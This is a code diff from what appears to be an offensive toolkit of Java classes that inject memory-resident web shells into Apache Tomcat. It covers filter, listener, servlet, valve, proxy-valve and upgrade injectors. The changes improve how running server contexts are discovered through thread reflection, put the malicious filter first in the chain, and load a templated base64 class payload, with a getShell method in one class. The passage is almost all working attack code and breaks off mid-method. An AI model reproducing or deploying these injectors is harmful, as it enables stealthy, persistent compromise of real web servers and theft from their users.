filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -163,11 +180,17 @@ public class TomcatFilterInjector {
|
|||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
try {
|
try {
|
||||||
// v7.0.0 以上
|
// Tomcat5
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(context, "filterMaps", results);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
@@ -239,20 +262,34 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+40
-33
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,6 +53,43 @@ public class TomcatListenerInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
@@ -70,32 +107,7 @@ public class TomcatListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Set<Object> contexts = new HashSet<>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -214,8 +226,7 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -232,12 +243,8 @@ public class TomcatListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+42
-28
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||||
this.rawValve = rawValve;
|
this.rawValve = rawValve;
|
||||||
this.proxyValve = proxyValve;
|
this.proxyValve = proxyValve;
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
if ("invoke".equals(method.getName())) {
|
if ("invoke".equals(method.getName())) {
|
||||||
@@ -100,12 +85,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
@@ -121,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+41
-27
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,6 +62,43 @@ public class TomcatServletInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
@@ -77,31 +116,6 @@ public class TomcatServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+42
-30
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -55,6 +55,47 @@ public class TomcatUpgradeInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.apache.catalina.core.StandardContext
|
||||||
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
@@ -72,35 +113,6 @@ public class TomcatUpgradeInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* org.apache.catalina.core.StandardContext
|
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
|
||||||
*/
|
|
||||||
public Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
+38
-26
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,6 +53,43 @@ public class TomcatValveInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
@@ -70,31 +107,6 @@ public class TomcatValveInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
